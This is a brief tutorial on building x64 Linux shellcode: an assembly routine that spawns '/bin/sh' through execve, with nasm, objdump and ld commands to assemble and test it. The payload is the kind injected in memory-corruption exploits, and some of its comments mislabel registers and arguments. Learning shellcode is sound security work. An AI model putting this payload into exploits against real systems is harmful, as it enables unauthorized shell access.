Creating Simple x64 Shellcode

Save this as shell.asm

global _start

_start:
    jmp short        shell_call    ; jump to call

shellcode:
    pop        rsi        ; Store address of "/bin/sh" in ESI
    xor        rax, rax    ; Zero
    mov byte    [rsi + 7],al    ; Null byte
    mov qword    [rsi + 8],rsi    ;
    mov qword    [rsi + 16],rax    ; Null pointer
    lea        rdi, [rsi]    ; Copy sh string into rdi
    lea        rsi, [rax]    ; Third execve (Null)
    lea        rdx, [eax]     ; Second execve arg (Null)
    xor        al, 0x3b    ; x64 execve syscall
    syscall

shell_call:
    call    shellcode    ; call shellcode and push db onto stack
    db    "/bin/sh"

Assemble the asm file with nasm:
nasm -f elf64 shell.asm -o shell.o

You can view the assembly code by dumping the object file with objdump:
objdump -D shell.o

You can test the functionality of the shellcode by linking the file into an executable.  Due to the way the ASM code is written,  I specified -N to make the .text section read/write:

ld -N -o shell shell.o